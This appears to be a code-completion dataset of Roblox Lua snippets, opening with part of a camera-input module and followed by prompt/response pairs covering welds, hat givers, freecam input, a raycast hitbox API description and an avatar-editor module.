	local function OnKeyUp(input, processed)
		if input.KeyCode == Enum.KeyCode.Left then
			this.TurningLeft = false
		elseif input.KeyCode == Enum.KeyCode.Right then
			this.TurningRight = false
		end
	end

	local lastThumbstickRotate = nil
	local numOfSeconds = 0.7
	local currentSpeed = 0
	local maxSpeed = 6
	local vrMaxSpeed = 4
	local lastThumbstickPos = Vector2.new(0,0)
	local ySensitivity = 0.65
	local lastVelocity = nil

	-- K is a tunable parameter that changes the shape of the S-curve
	-- the larger K is the more straight/linear the curve gets
	local k = 0.35
	local lowerK = 0.8
	local function SCurveTranform(t)
		t = clamp(-1,1,t)
		if t >= 0 then
			return (k*t) / (k - t + 1)
		end
		return -((lowerK*-t) / (lowerK + t + 1))
	end

	-- DEADZONE
	local DEADZONE = 0.1
	local function toSCurveSpace(t)
		return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
	end

	local function fromSCurveSpace(t)
		return t/2 + 0.5
	end

	local function gamepadLinearToCurve(thumbstickPosition)
		local function onAxis(axisValue)
			local sign = 1
			if axisValue < 0 then
				sign = -1
			end
			local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
			point = point * sign
			return clamp(-1, 1, point)
		end
		return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
	end

	function this:UpdateGamepad()
		local gamepadPan = this.GamepadPanningCamera
		if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then
			gamepadPan = gamepadLinearToCurve(gamepadPan)
			local currentTime = tick()
			if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
				this.userPanningTheCamera = true
			elseif gamepadPan == ZERO_VECTOR2 then
				lastThumbstickRotate = nil
				if lastThumbstickPos == ZERO_VECTOR2 then
					currentSpeed = 0
				end
			end

			local finalConstant = 0

			if lastThumbstickRotate then
				if VRService.VREnabled then
					currentSpeed = vrMaxSpeed
				else
					local elapsedTime = (currentTime - lastThumbstickRotate) * 10
					currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))

					if currentSpeed > maxSpeed then currentSpeed = maxSpeed end

					if lastVelocity then
						local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
						local velocityDeltaMag = (velocity - lastVelocity).magnitude

						if velocityDeltaMag > 12 then
							currentSpeed = currentSpeed * (20/velocityDeltaMag)
							if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
						end
					end
				end

				local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end)
				finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed
				lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
			end

			lastThumbstickPos = gamepadPan
			lastThumbstickRotate = currentTime

			return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue())
		end

		return ZERO_VECTOR2
	end

	local InputBeganConn, InputChangedConn, InputEndedConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil

	function this:DisconnectInputEvents()
		if InputBeganConn then
			InputBeganConn:disconnect()
			InputBeganConn = nil
		end
		if InputChangedConn then
			InputChangedConn:disconnect()
			InputChangedConn = nil
		end
		if InputEndedConn then
			InputEndedConn:disconnect()
			InputEndedConn = nil
		end
		if MenuOpenedConn then
			MenuOpenedConn:disconnect()
			MenuOpenedConn = nil
		end
		if ShiftLockToggleConn then
			ShiftLockToggleConn:disconnect()
			ShiftLockToggleConn = nil
		end
		if GamepadConnectedConn then
			GamepadConnectedConn:disconnect()
			GamepadConnectedConn = nil
		end
		if GamepadDisconnectedConn then
			GamepadDisconnectedConn:disconnect()
			GamepadDisconnectedConn = nil
		end
		if subjectStateChangedConn then
			subjectStateChangedConn:disconnect()
			subjectStateChangedConn = nil
		end
		if workspaceChangedConn then
			workspaceChangedConn:disconnect()
			workspaceChangedConn = nil
		end
		if TouchActivateConn then
			TouchActivateConn:disconnect()
			TouchActivateConn = nil
		end

		this.TurningLeft = false
		this.TurningRight = false
		this.LastCameraTransform = nil
		self.LastSubjectCFrame = nil
		this.UserPanningTheCamera = false
		this.RotateInput = Vector2.new()
		this.GamepadPanningCamera = Vector2.new(0,0)

		-- Reset input states
		startPos = nil
		lastPos = nil
		panBeginLook = nil
		isRightMouseDown = false
		isMiddleMouseDown = false

		fingerTouches = {}
		NumUnsunkTouches = 0

		StartingDiff = nil
		pinchBeginZoom = nil

		-- Unlock mouse for example if right mouse button was being held down
		if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
			UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		end
	end

	function this:ResetInputStates()
		isRightMouseDown = false
		isMiddleMouseDown = false
		OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters

		if UserInputService.TouchEnabled then
			--[[menu opening was causing serious touch issues
			this should disable all active touch events if
			they're active when menu opens.]]
			for inputObject, value in pairs(fingerTouches) do
				fingerTouches[inputObject] = nil
			end
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
			StartingDiff = nil
			pinchBeginZoom = nil
			NumUnsunkTouches = 0
		end
	end

	function this.getGamepadPan(name, state, input)
		if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then

			if state == Enum.UserInputState.Cancel then
				this.GamepadPanningCamera = ZERO_VECTOR2
				return
			end

			local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
			if inputVector.magnitude > THUMBSTICK_DEADZONE then
				this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y)
			else
				this.GamepadPanningCamera = ZERO_VECTOR2
			end
		end
	end

	function this.doGamepadZoom(name, state, input)
		if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
			if this.ZoomEnabled then
				if this:GetCameraZoom() > 0.5 then
					this:ZoomCamera(0)
				else
					this:ZoomCamera(10)
				end
			end
		end
	end

	function this:BindGamepadInputActions()
		ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2)
		ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3)
	end

	function this:ConnectInputEvents()
		InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchBegan(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
				OnMouse2Down(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
				OnMouse3Down(input, processed)
			end
			-- Keyboard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				OnKeyDown(input, processed)
			end
		end)

		InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchChanged(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseMovement then
				OnMouseMoved(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseWheel then
				OnMouseWheel(input, processed)
			end
		end)

		InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchEnded(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
				OnMouse2Up(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
				OnMouse3Up(input, processed)
			end
			-- Keyboard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				OnKeyUp(input, processed)
			end
		end)

		if touchWorkspaceEventEnabled then
			TouchActivateConn = UserInputService.TouchTapInWorld:connect(function(touchPos, processed)
				if isDynamicThumbstickEnabled and not processed and not IsAToolEquipped and positionIntersectsGuiObject(touchPos, GestureArea) then
					if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
						local tween = {
							from = this:GetCameraZoom(),
							to = DefaultZoom,
							start = tick(),
							duration = 0.2,
							func = function(from, to, alpha)
								this:ZoomCamera(from + (to - from)*alpha)
								return to
							end
						}
						tweens["Zoom"] = tween
					else
						local humanoid = this:GetHumanoid()
						if humanoid then
							local player = PlayersService.LocalPlayer
							if player and player.Character then
								if humanoid and humanoid.Torso then
									local tween = {
										from = this.RotateInput,
										to = calcLookBehindRotateInput(humanoid.Torso),
										start = tick(),
										duration = 0.2,
										func = function(from, to, alpha)
											to = calcLookBehindRotateInput(humanoid.Torso)
											if to then
												this.RotateInput = from + (to - from)*alpha
											end
											return to
										end
									}
									tweens["Rotate"] = tween

									-- reset old camera info so follow cam doesn't rotate us
									this.LastCameraTransform = nil
								end
							end
						end
					end
					lastTapTime = tick()
				end
			end)
		end

		MenuOpenedConn = GuiService.MenuOpened:connect(function()
			this:ResetInputStates()
		end)

		workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
		if workspace.CurrentCamera then
			onCurrentCameraChanged()
		end

		ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
			this:UpdateMouseBehavior()
		end)

		this.RotateInput = Vector2.new()

		this.activeGamepad = nil
		local function assignActivateGamepad()
			local connectedGamepads = UserInputService:GetConnectedGamepads()
			if #connectedGamepads > 0 then
				for i = 1, #connectedGamepads do
					if this.activeGamepad == nil then
						this.activeGamepad = connectedGamepads[i]
					elseif connectedGamepads[i].Value < this.activeGamepad.Value then
						this.activeGamepad = connectedGamepads[i]
					end
				end
			end

			if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
				this.activeGamepad = Enum.UserInputType.Gamepad1
			end
		end

		GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
			if this.activeGamepad ~= gamepadEnum then return end
			this.activeGamepad = nil
			assignActivateGamepad()
		end)

		GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
			if this.activeGamepad == nil then
				assignActivateGamepad()
			end
		end)

		self:BindGamepadInputActions()

		assignActivateGamepad()

		-- set mouse behavior
		self:UpdateMouseBehavior()
	end

	--Process tweens related to tap-to-recenter and double-tap-to-zoom
	--Needs to be called from specific cameras on each update
	function this:ProcessTweens()
		for name, tween in pairs(tweens) do
			local alpha = math.min(1.0, (tick() - tween.start)/tween.duration)
			tween.to = tween.func(tween.from, tween.to, alpha)
			if math.abs(1 - alpha) < 0.0001 then
				tweens[name] = nil
			end
		end
	end

	function this:SetEnabled(newState)
		if newState ~= self.Enabled then
			self.Enabled = newState
			if self.Enabled then
				self:ConnectInputEvents()
				self.cframe = workspace.CurrentCamera.CFrame
			else
				self:DisconnectInputEvents()
			end
		end
	end

	local function OnPlayerAdded(player)
		player.Changed:connect(function(prop)
			if this.Enabled then
				if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
					 this:ZoomCameraFixedBy(0)
				end
			end
		end)

		local function OnCharacterAdded(newCharacter)

			local humanoid = findPlayerHumanoid(player)
			local start = tick()
			while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
				task.wait()
				humanoid = findPlayerHumanoid(player)
			end

			if humanoid and humanoid.Torso and player.Character == newCharacter then
				local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
				local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
				local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
				if not IsFinite(horizontalShift) then
					horizontalShift = 0
				end
				if not IsFinite(vertShift) then
					vertShift = 0
				end
				this.RotateInput = Vector2.new(horizontalShift, vertShift)

				-- reset old camera info so follow cam doesn't rotate us
				this.LastCameraTransform = nil
			end

			-- Need to wait for camera cframe to update before we zoom in
			-- Not waiting will force camera to original cframe
			task.wait()
			this:ZoomCamera(this.DefaultZoom)
		end

		player.CharacterAdded:connect(function(character)
			if this.Enabled or SetCameraOnSpawn then
				OnCharacterAdded(character)
				SetCameraOnSpawn = false
			end
		end)
		if player.Character then
			spawn(function() OnCharacterAdded(player.Character) end)
		end
	end
	if PlayersService.LocalPlayer then
		OnPlayerAdded(PlayersService.LocalPlayer)
	end
	PlayersService.ChildAdded:connect(function(child)
		if child and PlayersService.LocalPlayer == child then
			OnPlayerAdded(PlayersService.LocalPlayer)
		end
	end)

	local function OnGameLoaded()
		hasGameLoaded = true
	end

	spawn(function()
		if game:IsLoaded() then
			OnGameLoaded()
		else
			game.Loaded:wait()
			OnGameLoaded()
		end
	end)

	local function OnDynamicThumbstickEnabled()
		if UserInputService.TouchEnabled then
			isDynamicThumbstickEnabled = true
		end
	end

	local function OnDynamicThumbstickDisabled()
		isDynamicThumbstickEnabled = false
	end

	local function OnGameSettingsTouchMovementModeChanged()
		if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
			if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
				OnDynamicThumbstickEnabled()
			else
				OnDynamicThumbstickDisabled()
			end
		end
	end

	local function OnDevTouchMovementModeChanged()
		if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
			OnDynamicThumbstickEnabled()
		else
			OnGameSettingsTouchMovementModeChanged()
		end
	end

	if PlayersService.LocalPlayer then
		PlayersService.LocalPlayer.Changed:Connect(function(prop)
			if prop == "DevTouchMovementMode" then
				OnDevTouchMovementModeChanged()
			end
		end)
		OnDevTouchMovementModeChanged()
	end

	GameSettings.Changed:Connect(function(prop)
		if prop == "TouchMovementMode" then
			OnGameSettingsTouchMovementModeChanged()
		end
	end)
	OnGameSettingsTouchMovementModeChanged()
	GameSettings:SetCameraYInvertVisible()
	pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end)

	return this
end

return CreateCamera


Prompt: --Where the helicopter will return to--

Response:
local pitch,yaw,roll = myRoot.CFrame:ToEulerAnglesXYZ()
local home = CFrame.new(body.Position) * CFrame.fromEulerAnglesXYZ(pitch,yaw,roll)


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Handle"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(2, 1, 2)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0.35, 0)
		h.AttachmentRight = Vector3.new(1, -0, 0)
		h.AttachmentUp = Vector3.new(0, 0.995, -0.0995)
		h.AttachmentForward = Vector3.new(0, -0.0995, -0.995)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: -- On Startup

Response:
PhysicsService:CreateCollisionGroup(playerCollisionGroupName)
PhysicsService:CollisionGroupSetCollidable(playerCollisionGroupName, playerCollisionGroupName, false)


Response:
local Input = {} do
	local thumbstickCurve do
		local K_CURVATURE = 2.0
		local K_DEADZONE = 0.15

		local function fCurve(x)
			return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1)
		end

		local function fDeadzone(x)
			return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
		end

		function thumbstickCurve(x)
			return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
		end
	end

	local gamepad = {
		ButtonX = 0,
		ButtonY = 0,
		DPadDown = 0,
		DPadUp = 0,
		ButtonL2 = 0,
		ButtonR2 = 0,
		Thumbstick1 = Vector2.new(),
		Thumbstick2 = Vector2.new(),
	}

	local keyboard = {
		W = 0,
		A = 0,
		S = 0,
		D = 0,
		E = 0,
		Q = 0,
		U = 0,
		H = 0,
		J = 0,
		K = 0,
		I = 0,
		Y = 0,
		Up = 0,
		Down = 0,
		LeftShift = 0,
		RightShift = 0,
	}

	local mouse = {
		Delta = Vector2.new(),
		MouseWheel = 0,
	}

	local NAV_GAMEPAD_SPEED  = Vector3.new(1, 1, 1)
	local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
	local PAN_MOUSE_SPEED    = Vector2.new(1, 1)*(pi/64)
	local PAN_GAMEPAD_SPEED  = Vector2.new(1, 1)*(pi/8)
	local FOV_WHEEL_SPEED    = 1.0
	local FOV_GAMEPAD_SPEED  = 0.25
	local NAV_ADJ_SPEED      = 0.75
	local NAV_SHIFT_MUL      = 0.25

	local navSpeed = 1

	function Input.Vel(dt)
		navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)

		local kGamepad = Vector3.new(
			thumbstickCurve(gamepad.Thumbstick1.X),
			thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2),
			thumbstickCurve(-gamepad.Thumbstick1.Y)
		)*NAV_GAMEPAD_SPEED

		local kKeyboard = Vector3.new(
			keyboard.D - keyboard.A + keyboard.K - keyboard.H,
			keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
			keyboard.S - keyboard.W + keyboard.J - keyboard.U
		)*NAV_KEYBOARD_SPEED

		local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift)

		return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
	end

	function Input.Pan(dt)
		local kGamepad = Vector2.new(
			thumbstickCurve(gamepad.Thumbstick2.Y),
			thumbstickCurve(-gamepad.Thumbstick2.X)
		)*PAN_GAMEPAD_SPEED
		local kMouse = mouse.Delta*PAN_MOUSE_SPEED
		mouse.Delta = Vector2.new()
		return kGamepad + kMouse
	end

	function Input.Fov(dt)
		local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED
		local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED
		mouse.MouseWheel = 0
		return kGamepad + kMouse
	end

	do
		local function Keypress(action, state, input)
			keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
			return Enum.ContextActionResult.Sink
		end

		local function GpButton(action, state, input)
			gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
			return Enum.ContextActionResult.Sink
		end

		local function MousePan(action, state, input)
			local delta = input.Delta
			mouse.Delta = Vector2.new(-delta.y, -delta.x)
			return Enum.ContextActionResult.Sink
		end

		local function Thumb(action, state, input)
			gamepad[input.KeyCode.Name] = input.Position
			return Enum.ContextActionResult.Sink
		end

		local function Trigger(action, state, input)
			gamepad[input.KeyCode.Name] = input.Position.z
			return Enum.ContextActionResult.Sink
		end

		local function MouseWheel(action, state, input)
			mouse[input.UserInputType.Name] = -input.Position.z
			return Enum.ContextActionResult.Sink
		end

		local function Zero(t)
			for k, v in pairs(t) do
				t[k] = v*0
			end
		end

		function Input.StartCapture()
			ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY,
				Enum.KeyCode.W, Enum.KeyCode.U,
				Enum.KeyCode.A, Enum.KeyCode.H,
				Enum.KeyCode.S, Enum.KeyCode.J,
				Enum.KeyCode.D, Enum.KeyCode.K,
				Enum.KeyCode.E, Enum.KeyCode.I,
				Enum.KeyCode.Q, Enum.KeyCode.Y,
				Enum.KeyCode.Up, Enum.KeyCode.Down
			)
			ContextActionService:BindActionAtPriority("FreecamMousePan",          MousePan,   false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
			ContextActionService:BindActionAtPriority("FreecamMouseWheel",        MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel)
			ContextActionService:BindActionAtPriority("FreecamGamepadButton",     GpButton,   false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY)
			ContextActionService:BindActionAtPriority("FreecamGamepadTrigger",    Trigger,    false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2)
			ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb,      false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2)
		end

		function Input.StopCapture()
			navSpeed = 1
			Zero(gamepad)
			Zero(keyboard)
			Zero(mouse)
			ContextActionService:UnbindAction("FreecamKeyboard")
			ContextActionService:UnbindAction("FreecamMousePan")
			ContextActionService:UnbindAction("FreecamMouseWheel")
			ContextActionService:UnbindAction("FreecamGamepadButton")
			ContextActionService:UnbindAction("FreecamGamepadTrigger")
			ContextActionService:UnbindAction("FreecamGamepadThumbstick")
		end
	end
end

local function GetFocusDistance(cameraFrame)
	local znear = 0.1
	local viewport = Camera.ViewportSize
	local projy = 2*tan(cameraFov/2)
	local projx = viewport.x/viewport.y*projy
	local fx = cameraFrame.rightVector
	local fy = cameraFrame.upVector
	local fz = cameraFrame.lookVector

	local minVect = Vector3.new()
	local minDist = 512

	for x = 0, 1, 0.5 do
		for y = 0, 1, 0.5 do
			local cx = (x - 0.5)*projx
			local cy = (y - 0.5)*projy
			local offset = fx*cx - fy*cy + fz
			local origin = cameraFrame.p + offset*znear
			local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
			local dist = (hit - origin).magnitude
			if minDist > dist then
				minDist = dist
				minVect = offset.unit
			end
		end
	end

	return fz:Dot(minVect)*minDist
end


Prompt: --[[Weld functions]]

Response:
	local JS = game:GetService("JointsService")
	local PGS_ON = workspace:PGSIsEnabled()

	function MakeWeld(x,y,type,s)
		if type==nil then type="Weld" end
		local W=Instance.new(type,JS)
		W.Part0=x W.Part1=y
		W.C0=x.CFrame:inverse()*x.CFrame
		W.C1=y.CFrame:inverse()*x.CFrame
		if type=="Motor" and s~=nil then
			W.MaxVelocity=s
		end
		return W
	end

	function ModelWeld(a,b)
		if a:IsA("BasePart") and
			a.Parent.Name ~= ("Lights") and
			a.Parent.Name ~= ("Chasis") and
			a.Parent.Name ~= ("RotLight") and
			a.Parent.Name ~= ("Door") then
			MakeWeld(b,a,"Weld")
			for i,v in pairs(a:GetChildren()) do
				if v ~= nil and v:IsA("BasePart") then
					ModelWeld(v,b)
				end
			end
		elseif a:IsA("Model") then
			for i,v in pairs(a:GetChildren()) do
				ModelWeld(v,b)
			end
		end
	end

	function UnAnchor(a)
		if a:IsA("BasePart") then a.Anchored=false  end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
	end


Prompt:
--[[
____________________________________________________________________________________________________________________________________________________________________________

	If you have any questions, feel free to message me on DevForum. Credits not neccessary but is appreciated.

	[ How To Use - Quick Start Guide ]

		1. Insert Attachments to places where you want your "hitbox" to be. For swords, I like to have attachments 1 stud apart and strung along the blade.
		2. Name those Attachments "DmgPoint" (so the script knows). You can configure what name the script will look for in the variables below.
		3. Open up a script. As an example, maybe we have a sword welded to the character or as a tool. Require this, and initialize:

				* Example Code

					local Damage = 10
					local Hitbox = RaycastHitbox.new(Character)

					Hitbox.OnHit:Connect(function(hit, humanoid)
						print(hit.Name)
						humanoid:TakeDamage(Damage)
					end)

					Hitbox:HitStart() --- Turns on the hitbox
					wait(10) --- Waits 10 seconds
					Hitbox:HitStop() --- Turns off the hitbox

		4. Profit. Refer to the API below for more information.

____________________________________________________________________________________________________________________________________________________________________________

	[ RaycastHitBox API ]

		* local RaycastHitbox = require(RaycastHitboxV4) ---Duh
				--- To use, insert this at the top of your scripts or wherever.

			[ FUNCTIONS ]

		* RaycastHitbox.new(Instance model | BasePart | nil)
				Description
					--- Preps the model and recursively finds attachments in it so it knows where to shoot rays out of later. If a hitbox exists for this
					--- object already, it simply returns the same hitbox.
				Arguments
					--- Instance:  (Like your character, a sword model, etc). Can be left nil in case you want an empty Hitbox or use SetPoints later
				Returns
					Instance HitboxObject

		* RaycastHitModule:GetHitbox(Instance model)
				Description
					--- Gets the HitboxObject if it exists.
				Returns
					--- HitboxObject if found, else nil

		* HitboxObject:SetPoints(Instance BasePart | Bone, table vectorPoints, string group)
				Description
					--- Merges existing Hitbox points with new Vector3 values relative to a part/bone position. This part can be a descendent of your original Hitbox model or
						can be an entirely different instance that is not related to the hitbox (example: Have a weapon with attachments and you can then add in more vector3
						points without instancing new attachments, great for dynamic hitboxes)
				Arguments
					--- Instance BasePart | Bone: Sets the part/bone that these vectorPoints will move in relation to the part's origin using Vector3ToWorldSpace
					--- table vectorPoints: Table of vector3 values.
					--- string group: optional group parameter

		* HitboxObject:RemovePoints(Instance BasePart | Bone, table vectorPoints)
				Description
					--- Remove given Vector3 values provided the part was the same as the ones you set in SetPoints
				Arguments
					--- Instance BasePart | Bone: Sets the part that these vectorPoints will be removed from in relation to the part's origin using Vector3ToWorldSpace
					--- table vectorPoints: Table of vector3 values.

		* HitboxObject:LinkAttachments(Instance attachment1, Instance attachment2)
				Description
					--- Set two attachments to be in a link. The Raycast module will raycast between these two points.
				Arguments
					--- Instance attachment1/attachment2: Attachment objects

		* HitboxObject:UnlinkAttachments(Instance attachment1)
				Description
					--- Removes the link of an attachment. Only needs the primary attachment (argument 1 of LinkAttachments) to work. Will automatically sever the connection
						to the second attachment.
				Arguments
					--- Instance attachment1: Attachment object

		* HitboxObject:HitStart(seconds)
				Description
					--- Starts drawing the rays. Will only damage the target once. Call HitStop to reset the target pool so you can damage the same targets again.
						If HitStart hits a target(s), OnHit event will be called.
				Arguments
					--- number seconds: Optional numerical value, the hitbox will automatically turn off after this amount of time has elapsed

		* HitboxObject:HitStop()
				Description
					--- Stops drawing the rays and resets the target pool. Will do nothing if no rays are being drawn from the initialized model.

		* HitboxObject.OnHit:Connect(returns: Instance part, returns: Instance humanoid, returns: RaycastResults, returns: String group)
				Description
					--- If HitStart hits a fresh new target, OnHit returns information about the hit target
				Arguments
					--- Instance part: Returns the part that the rays hit first
					--- Instance humanoid: Returns the Humanoid object
					--- RaycastResults RaycastResults: Returns information about the last raycast results
					--- String group: Returns information on the hitbox's group

		* HitboxObject.OnUpdate:Connect(returns: Vector3 position)
				Description
					--- This fires every frame, for every point, returning a Vector3 value of its last position in space. Do not use expensive operations in this function.

			[ PROPERTIES ]

		* HitboxObject.RaycastParams: RaycastParams
				Description
					--- Takes in a RaycastParams object

		* HitboxObject.Visualizer: boolean
				Description
					--- Turns on or off the debug rays for this hitbox

		* HitboxObject.DebugLog: boolean
				Description
					--- Turns on or off output writing for this hitbox

		* HitboxObject.DetectionMode: number [1 - 3]
				Description
					--- Defaults to 1. Refer to DetectionMode subsection below for more information

			[ DETECTION MODES ]

		* RaycastHitbox.DetectionMode.Default
				Description
					--- Checks if a humanoid exists when this hitbox touches a part. The hitbox will not return humanoids it has already hit for the duration
					--- the hitbox has been active.

		* RaycastHitbox.DetectionMode.PartMode
				Description
					--- OnHit will return every hit part (in respect to the hitbox's RaycastParams), regardless if it's ascendant has a humanoid or not.
					--- OnHit will no longer return a humanoid so you will have to check it. The hitbox will not return parts it has already hit for the
					--- duration the hitbox has been active.

		* RaycastHitbox.DetectionMode.Bypass
				Description
					--- PERFORMANCE MAY SUFFER IF THERE ARE A LOT OF PARTS. Use only if necessary.
					--- Similar to PartMode, the hitbox will return every hit part. Except, it will keep returning parts even if it has already hit them.
					--- Warning: If you have multiple raycast or attachment points, each raycast will also call OnHit. Allows you to create your own
					--- filter system.

____________________________________________________________________________________________________________________________________________________________________________

--]]


Response:
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Http = game:GetService("HttpService")

local AvatarEditor = ReplicatedStorage.AvatarEditor
local Promise = require(AvatarEditor.Shared.Util.Promise)
local Colors = require(AvatarEditor.Shared.Colors)

local player = Players.LocalPlayer

local ids = nil
local skintone = nil
local scales = nil

local idProperties = {
	"BackAccessory",
	"FaceAccessory",
	"FrontAccessory",
	"HairAccessory",
	"HatAccessory",
	"NeckAccessory",
	"ShouldersAccessory",
	"WaistAccessory",
	"Face",
	"Head",
	"LeftArm",
	"LeftLeg",
	"RightArm",
	"RightLeg",
	"Torso",
	"ClimbAnimation",
	"FallAnimation",
	"IdleAnimation",
	"JumpAnimation",
	"RunAnimation",
	"SwimAnimation",
	"WalkAnimation",
	"Pants",
	"Shirt",
}

local scaleProperties = {
	"BodyTypeScale",
	--"DepthScale",
	"HeadScale",
	"HeightScale",
	"ProportionScale",
	"WidthScale",
}

local module = {}
module.UID = Http:GenerateGUID(false)

local function getHumanoid()
	local character = player.Character
	local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
	if humanoid then
		return humanoid
	end
end

local function getHumanoidDescription()
	return Promise.new(function(resolve, reject)
		local humanoid = getHumanoid()
		if not humanoid then
			return Promise.reject("no humanoid")
		end

		local description = humanoid:GetAppliedDescription()
		if description then
			resolve(description)
		else
			reject("description not found")
		end
	end)
	:andThen(function(description)
		ids = {}
		for i, v in ipairs(idProperties) do
			local values = string.split(description[v], ",")
			for j, k in ipairs(values) do
				if k == "" or k == "0" then
					continue
				end
				ids[tonumber(k)] = true
			end
		end
		scales = {}
		for i, v in ipairs(scaleProperties) do
			scales[v] = description[v]
		end
		skintone = description.HeadColor
	end)
	:catch(warn)
	:finally(function()
		if ids == nil then
			ids = {}
		end
	end)
end

function module:Get()
	if ids == nil then
		getHumanoidDescription():await()
	end
	return ids
end

function module:GetTone()
	if skintone == nil then
		getHumanoidDescription():await()
	end
	return skintone
end

function module:GetScale()
	if scales == nil then
		getHumanoidDescription():await()
	end
	return scales
end

function module:Update()
	getHumanoidDescription():await()
	self.UID = Http:GenerateGUID(false)
end

return module


Prompt: -- Static variables

Response:
local _VOLUME = 32 -- Part Vector3.new(4, 1, 8)
local _DENSITY = 0.7 -- Default density


Prompt: --// # key, ManOff

Response:
